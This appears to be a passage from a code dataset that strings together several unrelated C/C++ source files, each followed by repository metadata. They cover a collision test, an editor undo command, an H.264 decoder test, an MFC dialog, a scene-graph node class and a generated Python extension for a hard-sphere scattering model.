k < 4; k++) { float highPart = (bPointsX[k] * axisX[i]) + (bPointsY[k] * axisY[i]); bProjectedX[k] = (highPart / lowPart) * axisX[i]; bProjectedY[k] = (highPart / lowPart) * axisY[i]; //g->DrawFillRect((int)bProjectedX[k], (int)bProjectedY[k], (int)10, (int)10, colors2[k]); if(k == 0) { minB = (bProjectedX[k] * axisX[i]) + (bProjectedY[k] * axisY[i]); maxB = (bProjectedX[k] * axisX[i]) + (bProjectedY[k] * axisY[i]); } else { float candidate = (bProjectedX[k] * axisX[i]) + (bProjectedY[k] * axisY[i]); if(candidate < minB) { minB = candidate; } if(candidate > maxB) { maxB = candidate; } } } bool collisionOnAxis = false; if(minB > minA) { collisionOnAxis = minB < maxA; } else { collisionOnAxis = minA < maxB; } if(!collisionOnAxis) { //return false; retValue = false; } } //return true; return retValue; }
[ "caiocsabino@7e2be596-0d54-0410-9f9d-cf4183935158" ]
[ [ [ 1, 1293 ] ] ]
4778f110ac1821282cdae69107efaae1dc1c23c8
ea12fed4c32e9c7992956419eb3e2bace91f063a
/zombie/code/conjurer/conjurer/inc/conjurer/polygontriggerundocmd.h
01db617a0596471340f9779a9d3f7a8ed5d6772b
[]
no_license
ugozapad/TheZombieEngine
832492930df28c28cd349673f79f3609b1fe7190
8e8c3e6225c2ed93e07287356def9fbdeacf3d6a
refs/heads/master
2020-04-30T11:35:36.258363
2011-02-24T14:18:43
2011-02-24T14:18:43
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,412
h
#ifndef N_POLYGONTRIGGER_UNDO_CMDS_H #define N_POLYGONTRIGGER_UNDO_CMDS_H //------------------------------------------------------------------------------ /** @file PolygonTriggerUndoCmd.h @ingroup NebulaConjurerEditor @author Juan Jose Luna Espinosa @brief Class for polygon trigger editing undo cmds (C) 2004 Conjurer Services, S.A. */ //------------------------------------------------------------------------------ #include "nundo/undocmd.h" #include "nundo/nundoserver.h" #include "mathlib/transform44.h" //------------------------------------------------------------------------------ class PolygonTriggerUndoCmd: public UndoCmd { public: /// Constructor PolygonTriggerUndoCmd( nEntityObject* polygonTrigger, nArray<vector3>* prevPoints, nArray<vector3>* newPoints ); /// Destructor virtual ~PolygonTriggerUndoCmd(); /// Execute virtual bool Execute( void ); /// Unexecute virtual bool Unexecute( void ); /// Get byte size virtual int GetSize( void ); protected: nRefEntityObject refPolygonTrigger; /// Array of points for undo nArray<vector3> prevPoints; /// Array of points for redo nArray<vector3> newPoints; bool entityWasDirty; private: }; //------------------------------------------------------------------------------ #endif
[ "magarcias@c1fa4281-9647-0410-8f2c-f027dd5e0a91" ]
[ [ [ 1, 58 ] ] ]
a87e1393f65f84df68b7ba9f523f94d524ab62c5
b822313f0e48cf146b4ebc6e4548b9ad9da9a78e
/KylinSdk/Core/Source/DamageSystem.h
438ff9608af1424cd8bf5a5070e5cc44ae46da67
[]
no_license
dzw/kylin001v
5cca7318301931bbb9ede9a06a24a6adfe5a8d48
6cec2ed2e44cea42957301ec5013d264be03ea3e
refs/heads/master
2021-01-10T12:27:26.074650
2011-05-30T07:11:36
2011-05-30T07:11:36
46,501,473
0
0
null
null
null
null
UTF-8
C++
false
false
559
h
#pragma once struct DamageUnit { DamageUnit(KUINT uLevel, KUINT uMinValue, KUINT uMaxValue, KUINT uType) : mLevel(uLevel) , mMinValue(uMinValue) , mMaxValue(uMaxValue) , mType(uType) { } KUINT mLevel; KUINT mMinValue; KUINT mMaxValue; KUINT mType; }; struct DamageResult { DamageResult() : mDamage(-1) , mDIFF(-1) { } KINT mDamage; KINT mDIFF; }; namespace Kylin { class DamageSystem { public: static DamageResult Calculate(const DamageUnit& kDamage, KUINT uEntityID); }; }
[ "apayaccount@5fe9e158-c84b-58b7-3744-914c3a81fc4f" ]
[ [ [ 1, 42 ] ] ]
283e8c975d641cb0831bcdc5f02a56e288fbbb07
73c1d366642756888d3c2ce7c57939fda17341cc
/TestH264Decoder/TestH264Decoder.cpp
312e9521e56ee1a84e68bb4d009594a366887190
[]
no_license
eeharold/livevideoserver
6bfc7c21929123541a71ad02c4fa1f30453fdfef
d3416cf6c2528880655b46c604ff3334a910eb19
refs/heads/master
2021-01-01T05:24:10.381589
2010-07-18T12:37:37
2010-07-18T12:37:37
56,746,060
1
0
null
null
null
null
UTF-8
C++
false
false
3,313
cpp
#if defined(_TEST_DISPLAY) #include "cv.h" #include "highgui.h" #include "convert.h" #ifdef _DEBUG #pragma comment(lib,"cv200d.lib") #pragma comment(lib,"cvaux200d.lib") #pragma comment(lib,"cxcore200d.lib") #pragma comment(lib,"cxts200d.lib") #pragma comment(lib,"highgui200d.lib") #pragma comment(lib,"ml200d.lib") #else #pragma comment(lib,"cv200.lib") #pragma comment(lib,"cvaux200.lib") #pragma comment(lib,"cxcore200.lib") #pragma comment(lib,"cxts200.lib") #pragma comment(lib,"highgui200.lib") #pragma comment(lib,"ml200.lib") #endif //IplImage* g_IplImage = NULL; const char* g_OpenCV_Window_Name = "TestH264Decoder"; #endif #include "H264DecWrapper.h" #include <stdio.h> #include <stdlib.h> const int VIDEO_WIDTH = 352; const int VIDEO_HEIGHT = 288; int main() { printf("Decoding...\n"); H264DecWrapper* pH264Dec = new H264DecWrapper; printf("Create H264DecWrapper\n"); RGBYUVConvert::InitConvertTable(); #if defined(_TEST_DISPLAY) cvNamedWindow(g_OpenCV_Window_Name); IplImage* pIplImage = cvCreateImage(cvSize(VIDEO_WIDTH, VIDEO_HEIGHT), IPL_DEPTH_8U, 3); if(NULL == pIplImage) { fprintf(stderr, "Initialize OpenCV error."); return NULL; } #endif if(pH264Dec->Initialize() < 0) { fprintf(stderr, "Initialize H.264 decoder error."); return -1; } FILE* fin = fopen("TestRTSPServer.264", "rb"); FILE* fout = fopen("TestH264Decoder.yuv", "wb"); if(NULL == fin || NULL == fout) { printf("open file error\n"); return -1; } int frame = 0, size, len; const int INBUF_SIZE = 2301; const int OUTBUF_SIZE = VIDEO_WIDTH*VIDEO_HEIGHT*3/2; unsigned char inbuf[INBUF_SIZE] = {0}; unsigned char *inbuf_ptr = NULL; unsigned char outbuf[OUTBUF_SIZE] = {0}; int iOutSize = 0; bool bGetFrame = false; for(;;) { if (0 == (size = fread(inbuf, 1, INBUF_SIZE, fin))) { break; } inbuf_ptr = inbuf; while (size > 0) { len = pH264Dec->Decode(inbuf_ptr, size, outbuf, iOutSize, bGetFrame); if(bGetFrame) { if(frame < 100) { #if defined(_TEST_DISPLAY) RGBYUVConvert::ConvertYUV2RGB(outbuf, (unsigned char*)pIplImage->imageData, VIDEO_WIDTH, VIDEO_HEIGHT); cvFlip(pIplImage, NULL, 1); cvShowImage(g_OpenCV_Window_Name, pIplImage); cvWaitKey(10); #endif fwrite(outbuf, 1, iOutSize, fout); printf("saving frame %d\n", frame); } else { printf("ignore frame %d\n", frame); } frame++; } size -= len; inbuf_ptr += len; } } fclose(fin); fclose(fout); pH264Dec->Destroy(); delete pH264Dec; pH264Dec = NULL; #if defined(_TEST_DISPLAY) cvDestroyWindow("TestRTSPServer"); cvReleaseImage(&pIplImage); #endif printf("End\n"); system("pause"); return 0; }
[ "thorqq@16efd569-b5bb-8337-1870-15b9ea1457a7" ]
[ [ [ 1, 128 ] ] ]
864364d6b7b4fa12c82dedd3700a22d56cb605a7
172e5e180659a6a7242f95a367f5a879114bc38d
/SlideList/filmaddphotos.cpp
2b1122dc43de484aa675f4d4077271ff9c57a81f
[]
no_license
urere/mfcslidelist
1e66fc1a7b34f7832f5d09d278d2dd145d30adec
7c7eb47122c6b7c3b52a93145ec8b2d6f2476519
refs/heads/master
2021-01-10T02:06:44.884376
2008-03-27T21:25:09
2008-03-27T21:25:09
47,465,994
0
0
null
null
null
null
UTF-8
C++
false
false
1,352
cpp
// FilmAddPhotos.cpp : implementation file // #include "stdafx.h" #include "SlideList.h" #include "FilmAddPhotos.h" #ifdef _DEBUG #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif ///////////////////////////////////////////////////////////////////////////// // CFilmAddPhotosDialog dialog CFilmAddPhotosDialog::CFilmAddPhotosDialog(CWnd* pParent /*=NULL*/) : CDialog(CFilmAddPhotosDialog::IDD, pParent) { //{{AFX_DATA_INIT(CFilmAddPhotosDialog) m_Number = _T(""); m_StartAtZero = FALSE; //}}AFX_DATA_INIT } void CFilmAddPhotosDialog::DoDataExchange(CDataExchange* pDX) { CDialog::DoDataExchange(pDX); //{{AFX_DATA_MAP(CFilmAddPhotosDialog) DDX_CBString(pDX, IDC_NUMBER_PHOTOS, m_Number); DDV_MaxChars(pDX, m_Number, 2); DDX_Check(pDX, IDC_START_AT_ZERO, m_StartAtZero); //}}AFX_DATA_MAP } BEGIN_MESSAGE_MAP(CFilmAddPhotosDialog, CDialog) //{{AFX_MSG_MAP(CFilmAddPhotosDialog) //}}AFX_MSG_MAP END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// // CFilmAddPhotosDialog message handlers BOOL CFilmAddPhotosDialog::OnInitDialog() { CDialog::OnInitDialog(); return TRUE; // return TRUE unless you set the focus to a control // EXCEPTION: OCX Property Pages should return FALSE }
[ "ratcliffe.gary@e6454d50-7149-0410-9942-4ffd99bf3498" ]
[ [ [ 1, 55 ] ] ]
8fa02730adb7541ff667a9963c5a953a4c95ae69
74e7667ad65cbdaa869c6e384fdd8dc7e94aca34
/MicroFrameworkPK_v4_1/BuildOutput/public/debug/Client/stubs/corlib_native_System_Resources_ResourceManager.cpp
f25b3f4d61c26a9c10f57100f8ba3baf683f6c90
[ "BSD-3-Clause", "OpenSSL", "LicenseRef-scancode-unknown-license-reference", "Apache-2.0" ]
permissive
gezidan/NETMF-LPC
5093ab223eb9d7f42396344ea316cbe50a2f784b
db1880a03108db6c7f611e6de6dbc45ce9b9adce
refs/heads/master
2021-01-18T10:59:42.467549
2011-06-28T08:11:24
2011-06-28T08:11:24
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,115
cpp
//----------------------------------------------------------------------------- // // ** WARNING! ** // This file was generated automatically by a tool. // Re-running the tool will overwrite this file. // You should copy this file to a custom location // before adding any customization in the copy to // prevent loss of your changes when the tool is // re-run. // //----------------------------------------------------------------------------- #include "corlib_native.h" #include "corlib_native_System_Resources_ResourceManager.h" using namespace System::Resources; UNSUPPORTED_TYPE ResourceManager::GetObjectInternal( CLR_RT_HeapBlock* pMngObj, INT16 param0, HRESULT &hr ) { UNSUPPORTED_TYPE retVal = 0; return retVal; } INT32 ResourceManager::FindResource( LPCSTR param0, UNSUPPORTED_TYPE param1, HRESULT &hr ) { INT32 retVal = 0; return retVal; } UNSUPPORTED_TYPE ResourceManager::GetObject( UNSUPPORTED_TYPE param0, UNSUPPORTED_TYPE param1, HRESULT &hr ) { UNSUPPORTED_TYPE retVal = 0; return retVal; }
[ [ [ 1, 36 ] ] ]
0f35104a9f7513b39440a6e40907aa61fdb507d1
fbe2cbeb947664ba278ba30ce713810676a2c412
/iptv_root/iptv_media_util/media_utilities.h
27dd938eddfa008de2572bce34ef0e570571a757
[]
no_license
abhipr1/multitv
0b3b863bfb61b83c30053b15688b070d4149ca0b
6a93bf9122ddbcc1971dead3ab3be8faea5e53d8
refs/heads/master
2020-12-24T15:13:44.511555
2009-06-04T17:11:02
2009-06-04T17:11:02
41,107,043
0
0
null
null
null
null
UTF-8
C++
false
false
2,044
h
#ifndef MEDIA_UTILITIES_H #define MEDIA_UTILITIES_H #include <string> #include <deque> #include "mediapkt.h" struct FrameDimension { FrameDimension(unsigned _width, unsigned _height) { uWidth = _width; uHeight = _height; } FrameDimension() { uWidth = 0; uHeight = 0; } unsigned uWidth, uHeight; }; struct EncodingHeader { bool MPKT_FlagKeyframe; unsigned long MPKT_SubSeq; unsigned char MPKT_Type; unsigned width, height, framerate; }; // macro to check the return value of a function #define CHECK_ERROR(retCode, ok) if ((retCode) != (ok)) return retCode; #define INFINITE_TIME 1000000 struct IRM_PKT { MediaPkt header; BYTE payload[1]; }; // currently supported media types enum MediaSpec {VIDEO, AUDIO, ALL, NONE, SUBTITLE, UNKNOWN}; // struct for debugging media struct MediaDbgInfo { ULONG ulMediaId, ulPktRcv, ulJitterPkts, ulVideoPkts, ulAudioPkts, ulBufVideoFrames, ulBufAudioFrames, ulProcVideoFrames, ulProcAudioFrames, ulVideoTS, ulAudioTS, ulCurTS, ulBufferingPercent; BOOL bVideoStarted, bAudioStarted, bVideoPaused, bAudioPaused, bBuffering; }; // function to invert a bitmap upside-down ULONG TopDownToBottomUp(BYTE *_pData, ULONG _ulDatalen, ULONG _ulHeight); // function to print a message to console void PrintDbgMsg(const std::string & _functionName, const std::string & _msg, const std::string & _dbgStr, int errorCode); unsigned SepareStrings(std::string & _inStr, std::deque<std::string> & _stringList, char _token); unsigned ReallocIfRequired(unsigned char **_pBufPtr, unsigned & _uBufPtrLen, unsigned _uRequiredBufLen); #endif
[ "heineck@c016ff2c-3db2-11de-a81c-fde7d73ceb89" ]
[ [ [ 1, 92 ] ] ]
c425d295b92c98d4853ba8141a8c12abf5ed77ba
c5534a6df16a89e0ae8f53bcd49a6417e8d44409
/trunk/nGENE Proj/NodeVisible.cpp
fdfe3c0e99d8f1e5daf46e843d00fd12c13f4558
[]
no_license
svn2github/ngene
b2cddacf7ec035aa681d5b8989feab3383dac012
61850134a354816161859fe86c2907c8e73dc113
refs/heads/master
2023-09-03T12:34:18.944872
2011-07-27T19:26:04
2011-07-27T19:26:04
78,163,390
2
0
null
null
null
null
UTF-8
C++
false
false
6,602
cpp
/* --------------------------------------------------------------------------- This source file is part of nGENE Tech. Copyright (c) 2006- Wojciech Toman This program is free software. File: NodeVisible.cpp Version: 0.15 --------------------------------------------------------------------------- */ #include "PrecompiledHeaders.h" #include "NodeVisible.h" #include "ScenePartitioner.h" namespace nGENE { // Initialize static members TypeInfo NodeVisible::Type(L"NodeVisible", &Node::Type); NodeVisible::NodeVisible(): m_bLightable(true) { } //---------------------------------------------------------------------- NodeVisible::NodeVisible(const NodeVisible& src): Node(src) { m_bLightable = src.m_bLightable; HashTable <wstring, Surface>::iterator iter; for(iter = src.m_Surfaces.begin(); iter != src.m_Surfaces.end(); ++iter) addSurface(iter->first, iter->second); } //---------------------------------------------------------------------- NodeVisible& NodeVisible::operator=(const NodeVisible& rhs) { if(this == &rhs) return (*this); Node::operator=(rhs); m_bLightable = rhs.m_bLightable; HashTable <wstring, Surface>::iterator iter; for(iter = rhs.m_Surfaces.begin(); iter != rhs.m_Surfaces.end(); ++iter) addSurface(iter->first, iter->second); return (*this); } //---------------------------------------------------------------------- NodeVisible::~NodeVisible() { cleanup(); } //---------------------------------------------------------------------- void NodeVisible::init() { calculateBoundingBox(); } //---------------------------------------------------------------------- void NodeVisible::cleanup() { if(!m_Surfaces.empty()) m_Surfaces.clear(); } //---------------------------------------------------------------------- void NodeVisible::onUpdate() { Node::onUpdate(); HashTable <wstring, Surface>::iterator iter; Renderer& renderer = Renderer::getSingleton(); Surface* pSurface = NULL; for(iter = m_Surfaces.begin(); iter != m_Surfaces.end(); ++iter) { pSurface = &iter->second; if(pSurface->isEnabled()) { // Add it to an appropriate render queue Material* pMaterial = pSurface->getMaterialPtr(); renderer.addToRender(pSurface, pMaterial); if(m_bHasChanged) pSurface->setChanged(true); } } } //---------------------------------------------------------------------- void NodeVisible::addSurface(const wstring& _name, Surface& _surf) { // If surface already exists, do not add it if(m_Surfaces.find(_name) != m_Surfaces.end()) { Log::log(LET_ERROR, L"nGENE", __WFILE__, __WFUNCTION__, __LINE__, L"Surface with the name: %ls already exists", _name.c_str()); return; } m_Surfaces[_name] = _surf; m_Surfaces[_name].setNode(this); m_Surfaces[_name].setName(_name); m_vSurfaces.push_back(&m_Surfaces[_name]); } //---------------------------------------------------------------------- Surface* NodeVisible::getSurface(const wstring& _name) { // If surface doesn't exist, return if(m_Surfaces.find(_name) == m_Surfaces.end()) { Log::log(LET_ERROR, L"nGENE", __WFILE__, __WFUNCTION__, __LINE__, L"Surface with the name: %ls does not exist", _name.c_str()); return NULL; } return &m_Surfaces[_name]; } //---------------------------------------------------------------------- bool NodeVisible::findSurface(const wstring& _name) { if(m_Surfaces.find(_name) == m_Surfaces.end()) return false; return true; } //---------------------------------------------------------------------- void NodeVisible::calculateBoundingBox() { if(m_Surfaces.size()) { HashTable <wstring, Surface>::iterator iter; for(iter = m_Surfaces.begin(); iter != m_Surfaces.end(); ++iter) { iter->second.calculateBoundingBox(); } } } //---------------------------------------------------------------------- void NodeVisible::addToPartitioner(ScenePartitioner* _partitioner) { HashTable <wstring, Surface>::iterator iter; for(iter = m_Surfaces.begin(); iter != m_Surfaces.end(); ++iter) { _partitioner->addNode(&iter->second); } } //---------------------------------------------------------------------- void NodeVisible::removeFromPartitioner(ScenePartitioner* _partitioner) { HashTable <wstring, Surface>::iterator iter; for(iter = m_Surfaces.begin(); iter != m_Surfaces.end(); ++iter) { _partitioner->removeNode(&iter->second); } } //--------------------------------------------------------------------- void NodeVisible::setPickable(bool _value) { HashTable <wstring, Surface>::iterator iter; for(iter = m_Surfaces.begin(); iter != m_Surfaces.end(); ++iter) { iter->second.setPickable(_value); } } //--------------------------------------------------------------------- void NodeVisible::serialize(ISerializer* _serializer, bool _serializeType, bool _serializeChildren) { if(!m_bIsSerializable) return; if(_serializeType) _serializer->addObject(this->Type); Property <bool> prLightable(m_bLightable); _serializer->addProperty("Lightable", prLightable); uint count = m_vSurfaces.size(); Property <uint> prCount(count); _serializer->addProperty("SurfacesCount", prCount); // Save all surfaces if(_serializeChildren) { for(uint i = 0; i < m_vSurfaces.size(); ++i) m_vSurfaces[i]->serialize(_serializer, true, _serializeChildren); } Node::serialize(_serializer, false, _serializeChildren); if(_serializeType) _serializer->endObject(this->Type); } //---------------------------------------------------------------------- void NodeVisible::deserialize(ISerializer* _serializer) { Property <bool> prLightable(m_bLightable); _serializer->getProperty("Lightable", prLightable); uint count; Property <uint> prCount(count); _serializer->getProperty("SurfacesCount", prCount); Node::deserialize(_serializer); // Deserialize surface data for(uint i = 0; i < m_vSurfaces.size(); ++i) { _serializer->getNextObject(); m_vSurfaces[i]->deserialize(_serializer); } if(count > m_vSurfaces.size()) { for(uint i = m_vSurfaces.size(); i < count; ++i) { Surface surf; _serializer->getNextObject(); surf.deserialize(_serializer); addSurface(surf.getName(), surf); } } } //---------------------------------------------------------------------- }
[ "Riddlemaster@fdc6060e-f348-4335-9a41-9933a8eecd57" ]
[ [ [ 1, 227 ] ] ]
58fd370f2c75762f564d4607cfc8317e45d0ceda
05f4bd87bd001ab38701ff8a71d91b198ef1cb72
/TPTaller/TP3/src/StringUtils.h
3ed7c58d8c9e15d801124185fe9c40af8cac4745
[]
no_license
oscarcp777/tpfontela
ef6828a57a0bc52dd7313cde8e55c3fd9ff78a12
2489442b81dab052cf87b6dedd33cbb51c2a0a04
refs/heads/master
2016-09-01T18:40:21.893393
2011-12-03T04:26:33
2011-12-03T04:26:33
35,110,434
0
0
null
null
null
null
UTF-8
C++
false
false
807
h
#ifndef __STRINGUTILS_H__ #define __STRINGUTILS_H__ #include <string> #include <iostream> #include <sstream> #include <list> #include <vector> using namespace std; class StringUtils{ public: StringUtils(); /** * Este metodo quita los espacios en blanco entre los tag * de una cadena de caracteres * */ static std::string getValorTag(std::string nombretag,vector<string>& tokens); static string trim(std::string cadena); static string trimPorTag(std::string cadena); static std::string trimPalabra(std::string cadena); static std::string actualizarCadena(string cadena,char char_reemplazable); static void Tokenize(const string& str, vector<string>& tokens, const string& delimiters ); static int contadorTag(std::string cadena); private: }; #endif
[ "rdubini@a1477896-89e5-11dd-84d8-5ff37064ad4b" ]
[ [ [ 1, 31 ] ] ]
7c8bdf0ce79d22fc02d26bd9200f4d02c79d886b
5e61787e7adba6ed1c2b5e40d38098ebdf9bdee8
/sans/models/c_models/CHardsphereStructure.cpp
3a5bbea5e92759ce040e455f6f757a7fca8c9527
[]
no_license
mcvine/sansmodels
4dcba43d18c930488b0e69e8afb04139e89e7b21
618928810ee7ae58ec35bbb839eba2a0117c4611
refs/heads/master
2021-01-22T13:12:22.721492
2011-09-30T14:01:06
2011-09-30T14:01:06
null
0
0
null
null
null
null
UTF-8
C++
false
false
18,663
cpp
/** This software was developed by the University of Tennessee as part of the Distributed Data Analysis of Neutron Scattering Experiments (DANSE) project funded by the US National Science Foundation. If you use DANSE applications to do scientific research that leads to publication, we ask that you acknowledge the use of the software with the following sentence: "This work benefited from DANSE software developed under NSF award DMR-0520547." copyright 2008, University of Tennessee */ /** CHardsphereStructure * * C extension * * WARNING: THIS FILE WAS GENERATED BY WRAPPERGENERATOR.PY * DO NOT MODIFY THIS FILE, MODIFY Hardsphere.h * AND RE-RUN THE GENERATOR SCRIPT * */ #define NO_IMPORT_ARRAY #define PY_ARRAY_UNIQUE_SYMBOL PyArray_API_sans extern "C" { #include <Python.h> #include <arrayobject.h> #include "structmember.h" #include <stdio.h> #include <stdlib.h> #include <math.h> #include <time.h> #include "Hardsphere.h" } #include "models.hh" #include "dispersion_visitor.hh" /// Error object for raised exceptions static PyObject * CHardsphereStructureError = NULL; // Class definition typedef struct { PyObject_HEAD /// Parameters PyObject * params; /// Dispersion parameters PyObject * dispersion; /// Underlying model object HardsphereStructure * model; /// Log for unit testing PyObject * log; } CHardsphereStructure; static void CHardsphereStructure_dealloc(CHardsphereStructure* self) { Py_DECREF(self->params); Py_DECREF(self->dispersion); Py_DECREF(self->log); delete self->model; self->ob_type->tp_free((PyObject*)self); } static PyObject * CHardsphereStructure_new(PyTypeObject *type, PyObject *args, PyObject *kwds) { CHardsphereStructure *self; self = (CHardsphereStructure *)type->tp_alloc(type, 0); return (PyObject *)self; } static int CHardsphereStructure_init(CHardsphereStructure *self, PyObject *args, PyObject *kwds) { if (self != NULL) { // Create parameters self->params = PyDict_New(); self->dispersion = PyDict_New(); self->model = new HardsphereStructure(); // Initialize parameter dictionary PyDict_SetItemString(self->params,"effect_radius",Py_BuildValue("d",50.000000000000)); PyDict_SetItemString(self->params,"volfraction",Py_BuildValue("d",0.200000000000)); // Initialize dispersion / averaging parameter dict DispersionVisitor* visitor = new DispersionVisitor(); PyObject * disp_dict; disp_dict = PyDict_New(); self->model->effect_radius.dispersion->accept_as_source(visitor, self->model->effect_radius.dispersion, disp_dict); PyDict_SetItemString(self->dispersion, "effect_radius", disp_dict); // Create empty log self->log = PyDict_New(); } return 0; } static PyMemberDef CHardsphereStructure_members[] = { {"params", T_OBJECT, offsetof(CHardsphereStructure, params), 0, "Parameters"}, {"dispersion", T_OBJECT, offsetof(CHardsphereStructure, dispersion), 0, "Dispersion parameters"}, {"log", T_OBJECT, offsetof(CHardsphereStructure, log), 0, "Log"}, {NULL} /* Sentinel */ }; /** Read double from PyObject @param p PyObject @return double */ double CHardsphereStructure_readDouble(PyObject *p) { if (PyFloat_Check(p)==1) { return (double)(((PyFloatObject *)(p))->ob_fval); } else if (PyInt_Check(p)==1) { return (double)(((PyIntObject *)(p))->ob_ival); } else if (PyLong_Check(p)==1) { return (double)PyLong_AsLong(p); } else { return 0.0; } } /** * Function to call to evaluate model * @param args: input numpy array q[] * @return: numpy array object */ static PyObject *evaluateOneDim(HardsphereStructure* model, PyArrayObject *q){ PyArrayObject *result; // Check validity of array q , q must be of dimension 1, an array of double if (q->nd != 1 || q->descr->type_num != PyArray_DOUBLE) { //const char * message= "Invalid array: q->nd=%d,type_num=%d\n",q->nd,q->descr->type_num; //PyErr_SetString(PyExc_ValueError , message); return NULL; } result = (PyArrayObject *)PyArray_FromDims(q->nd, (int *)(q->dimensions), PyArray_DOUBLE); if (result == NULL) { const char * message= "Could not create result "; PyErr_SetString(PyExc_RuntimeError , message); return NULL; } for (int i = 0; i < q->dimensions[0]; i++){ double q_value = *(double *)(q->data + i*q->strides[0]); double *result_value = (double *)(result->data + i*result->strides[0]); *result_value =(*model)(q_value); } return PyArray_Return(result); } /** * Function to call to evaluate model * @param args: input numpy array [x[],y[]] * @return: numpy array object */ static PyObject * evaluateTwoDimXY( HardsphereStructure* model, PyArrayObject *x, PyArrayObject *y) { PyArrayObject *result; int i,j, x_len, y_len, dims[1]; //check validity of input vectors if (x->nd != 1 || x->descr->type_num != PyArray_DOUBLE || y->nd != 1 || y->descr->type_num != PyArray_DOUBLE || y->dimensions[0] != x->dimensions[0]){ const char * message= "evaluateTwoDimXY expect 2 numpy arrays"; PyErr_SetString(PyExc_ValueError , message); return NULL; } if (PyArray_Check(x) && PyArray_Check(y)) { x_len = dims[0]= x->dimensions[0]; y_len = dims[0]= y->dimensions[0]; // Make a new double matrix of same dims result=(PyArrayObject *) PyArray_FromDims(1,dims,NPY_DOUBLE); if (result == NULL){ const char * message= "Could not create result "; PyErr_SetString(PyExc_RuntimeError , message); return NULL; } /* Do the calculation. */ for ( i=0; i< x_len; i++) { double x_value = *(double *)(x->data + i*x->strides[0]); double y_value = *(double *)(y->data + i*y->strides[0]); double *result_value = (double *)(result->data + i*result->strides[0]); *result_value = (*model)(x_value, y_value); } return PyArray_Return(result); }else{ PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.evaluateTwoDimXY couldn't run."); return NULL; } } /** * evalDistribution function evaluate a model function with input vector * @param args: input q as vector or [qx, qy] where qx, qy are vectors * */ static PyObject * evalDistribution(CHardsphereStructure *self, PyObject *args){ PyObject *qx, *qy; PyArrayObject * pars; int npars ,mpars; // Get parameters // Reader parameter dictionary self->model->effect_radius = PyFloat_AsDouble( PyDict_GetItemString(self->params, "effect_radius") ); self->model->volfraction = PyFloat_AsDouble( PyDict_GetItemString(self->params, "volfraction") ); // Read in dispersion parameters PyObject* disp_dict; DispersionVisitor* visitor = new DispersionVisitor(); disp_dict = PyDict_GetItemString(self->dispersion, "effect_radius"); self->model->effect_radius.dispersion->accept_as_destination(visitor, self->model->effect_radius.dispersion, disp_dict); // Get input and determine whether we have to supply a 1D or 2D return value. if ( !PyArg_ParseTuple(args,"O",&pars) ) { PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.evalDistribution expects a q value."); return NULL; } // Check params if(PyArray_Check(pars)==1) { // Length of list should 1 or 2 npars = pars->nd; if(npars==1) { // input is a numpy array if (PyArray_Check(pars)) { return evaluateOneDim(self->model, (PyArrayObject*)pars); } }else{ PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.evalDistribution expect numpy array of one dimension."); return NULL; } }else if( PyList_Check(pars)==1) { // Length of list should be 2 for I(qx,qy) mpars = PyList_GET_SIZE(pars); if(mpars!=2) { PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.evalDistribution expects a list of dimension 2."); return NULL; } qx = PyList_GET_ITEM(pars,0); qy = PyList_GET_ITEM(pars,1); if (PyArray_Check(qx) && PyArray_Check(qy)) { return evaluateTwoDimXY(self->model, (PyArrayObject*)qx, (PyArrayObject*)qy); }else{ PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.evalDistribution expect 2 numpy arrays in list."); return NULL; } } PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.evalDistribution couln't be run."); return NULL; } /** * Function to call to evaluate model * @param args: input q or [q,phi] * @return: function value */ static PyObject * run(CHardsphereStructure *self, PyObject *args) { double q_value, phi_value; PyObject* pars; int npars; // Get parameters // Reader parameter dictionary self->model->effect_radius = PyFloat_AsDouble( PyDict_GetItemString(self->params, "effect_radius") ); self->model->volfraction = PyFloat_AsDouble( PyDict_GetItemString(self->params, "volfraction") ); // Read in dispersion parameters PyObject* disp_dict; DispersionVisitor* visitor = new DispersionVisitor(); disp_dict = PyDict_GetItemString(self->dispersion, "effect_radius"); self->model->effect_radius.dispersion->accept_as_destination(visitor, self->model->effect_radius.dispersion, disp_dict); // Get input and determine whether we have to supply a 1D or 2D return value. if ( !PyArg_ParseTuple(args,"O",&pars) ) { PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.run expects a q value."); return NULL; } // Check params if( PyList_Check(pars)==1) { // Length of list should be 2 for I(q,phi) npars = PyList_GET_SIZE(pars); if(npars!=2) { PyErr_SetString(CHardsphereStructureError, "CHardsphereStructure.run expects a double or a list of dimension 2."); return NULL; } // We have a vector q, get the q and phi values at which // to evaluate I(q,phi) q_value = CHardsphereStructure_readDouble(PyList_GET_ITEM(pars,0)); phi_value = CHardsphereStructure_readDouble(PyList_GET_ITEM(pars,1)); // Skip zero if (q_value==0) { return Py_BuildValue("d",0.0); } return Py_BuildValue("d",(*(self->model)).evaluate_rphi(q_value,phi_value)); } else { // We have a scalar q, we will evaluate I(q) q_value = CHardsphereStructure_readDouble(pars); return Py_BuildValue("d",(*(self->model))(q_value)); } } /** * Function to call to calculate_ER * @return: effective radius value */ static PyObject * calculate_ER(CHardsphereStructure *self) { PyObject* pars; int npars; // Get parameters // Reader parameter dictionary self->model->effect_radius = PyFloat_AsDouble( PyDict_GetItemString(self->params, "effect_radius") ); self->model->volfraction = PyFloat_AsDouble( PyDict_GetItemString(self->params, "volfraction") ); // Read in dispersion parameters PyObject* disp_dict; DispersionVisitor* visitor = new DispersionVisitor(); disp_dict = PyDict_GetItemString(self->dispersion, "effect_radius"); self->model->effect_radius.dispersion->accept_as_destination(visitor, self->model->effect_radius.dispersion, disp_dict); return Py_BuildValue("d",(*(self->model)).calculate_ER()); } /** * Function to call to evaluate model in cartesian coordinates * @param args: input q or [qx, qy]] * @return: function value */ static PyObject * runXY(CHardsphereStructure *self, PyObject *args) { double qx_value, qy_value; PyObject* pars; int npars; // Get parameters // Reader parameter dictionary self->model->effect_radius = PyFloat_AsDouble( PyDict_GetItemString(self->params, "effect_radius") ); self->model->volfraction = PyFloat_AsDouble( PyDict_GetItemString(self->params, "volfraction") ); // Read in dispersion parameters PyObject* disp_dict; DispersionVisitor* visitor = new DispersionVisitor(); disp_dict = 